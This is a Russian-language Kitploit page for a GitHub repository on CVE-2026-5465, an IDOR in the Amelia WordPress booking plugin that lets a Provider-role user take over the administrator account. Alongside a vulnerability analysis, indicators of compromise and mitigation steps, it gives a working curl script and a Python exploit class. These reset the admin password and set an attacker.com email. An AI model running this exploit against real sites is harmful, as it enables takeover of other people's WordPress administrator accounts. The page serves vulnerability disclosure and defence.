Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5465 — Эксплуатация и анализ CVE-2026-5465, IDOR в плагине Amelia для WordPress, позволяющий аутентифицированной роли Provider повышать привилегии и получать полный контроль над учётной записью через небезопасную прямую ссылку на объект. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2026-5465
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеНеправильная Конфигурация
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

Эксплуатация и анализ CVE-2026-5465, IDOR в плагине Amelia для WordPress, позволяющий аутентифицированной роли Provider повышать привилегии и получать полный контроль над учётной записью через небезопасную прямую ссылку на объект.

Репозиторий
216 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-5465: Повышение привилегий в плагине Amelia WordPress

⚠️ Краткое резюме

Критическая уязвимость Небезопасных прямых ссылок на объекты (IDOR) в плагине Amelia, которая позволяет аутентифицированному пользователю с ролью Сотрудника (Provider) повысить привилегии вплоть до полного захвата контроля (Account Takeover) над сайтом WordPress, включая административный доступ.


📋 Данные об уязвимости

АтрибутЗначение
CVE IDCVE-2026-5465
Программное обеспечениеAmelia – Appointment Booking Calendar
Затронутые версии≤ 2.1.3
Исправленная версия≥ 2.2.0
ТипНебезопасные прямые ссылки на объекты (IDOR) / Нарушенный контроль доступа
ВекторСеть (Аутентифицированный)
СложностьНизкая
ВоздействиеКритическое (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (Обход авторизации)

🔍 Технический анализ

Механизм эксплуатации

Ошибка находится в классе UpdateProviderCommandHandler, который обрабатывает обновления профиля поставщика.

Уязвимый поток:

1. Пользователь аутентифицирован как "Provider" (Сотрудник)
   ↓
2. Отправляет POST-запрос на конечную точку обновления
   {
     "externalId": 1,  // ID администратора (не атакующего)
     "firstName": "Взломанный админ",
     "email": "[email protected]",
     "password": "новый_пароль"
   }
   ↓
3. Система НЕ проверяет, принадлежит ли 'externalId' текущему пользователю
   ↓
4. Использует wp_set_password(externalId, new_password)
   ↓
5. Пароль администратора изменён → Account Takeover

Корневая причина

Отсутствие проверки владения (Ownership Check) перед обработкой конфиденциальных данных:

// УЯЗВИМЫЙ КОД (Упрощённый)
public function updateProvider($providerId, $data) {
    // ❌ НЕ проверяет, равен ли providerId текущему_пользователю
    $provider = Provider::find($providerId);
    
    // Напрямую выполняет без проверки
    wp_set_password($data['password'], $provider->wp_user_id);
}

// ПРАВИЛЬНЫЙ КОД
public function updateProvider($providerId, $data) {
    // ✅ Проверяет владение
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

Эксплуатируемые параметры

ПараметрТипВоздействие
externalIdIntegerСмена идентичности (основной IDOR)
passwordStringИзменение пароля
emailEmailКража сессии при сбросе
firstName, lastNameStringИзменение некритичных данных

💣 Proof of Concept

Требования

  • Учётная запись пользователя с ролью "Provider" (Сотрудник)
  • Аутентифицированный доступ к сайту
  • URL сайта WordPress

Ручная эксплуатация (cURL)

#!/bin/bash

TARGET="https://example.com"
PROVIDER_TOKEN="аутентифицированный_токен_provider"
ADMIN_ID=1

# Получить NONCE безопасности (если существует)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# Выполнить вредоносное обновление
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] Если ответ 200, администратор скомпрометирован"

Автоматизированная эксплуатация (Python)

import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """Эксплуатирует IDOR для смены пароля администратора"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] ЭКСПЛУАТАЦИЯ: Пользователь {target_user_id} скомпрометирован")
                print(f"[*] Новый пароль: {new_password}")
                return True
            else:
                print(f"[✗] Ошибка: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] Ошибка соединения: {e}")
            return False

# Использование
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://example.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ Индикаторы компрометации (IoC)

Журналы для проверки

Журнал аудита WordPress (если установлен):

Пользователь: [Provider ID]
Действие: Изменение пароля пользователя
Затронутый пользователь: Administrator
Временная метка: [Подозрительное время]

Журналы сервера (Apache/Nginx):

POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [высокое значение]
→ Ответ 200 OK

База данных WordPress:

-- Несанкционированные изменения пароля
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- Подозрительные изменения email
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

Сигналы тревоги

  • ✗ Изменения пароля администратора без запроса владельца
  • ✗ Множественные POST-запросы к /wp-json/amelia/v1/providers/
  • ✗ Административные доступы с новых/необычных IP-адресов
  • ✗ Создание новых пользователей с ролью Administrator
  • ✗ Изменения в настройках плагинов с роли Provider
  • ✗ Удалённые или усечённые журналы доступа

🔧 Немедленное смягчение

1. Обновление плагина (предпочтительный вариант)

# Через панель администратора WordPress
1. Перейти: Плагины > Установленные плагины
2. Найти: "Amelia"
3. Нажать: "Обновить сейчас"
4. Минимальная безопасная версия: 2.2.0+

# Через WP-CLI
wp plugin update amelia --allow-root

2. Временное отключение плагина

# Через WP-CLI
wp plugin deactivate amelia --allow-root

# Через FTP/SFTP
Переименовать: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. Ограничение на уровне сервера

Nginx (nginx.conf):

location ~ /wp-json/amelia/v1/providers/ {
    # Разрешить только GET-запросы
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 Действия после компрометации

Если сайт уже был скомпрометирован:

1. Смена паролей (немедленно)

-- Смена пароля администратора через CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. Аудит пользователей и изменений

SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. Проверка активных сессий

# Установить и проверить плагин: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. Сброс ключей безопасности

Скачать инструмент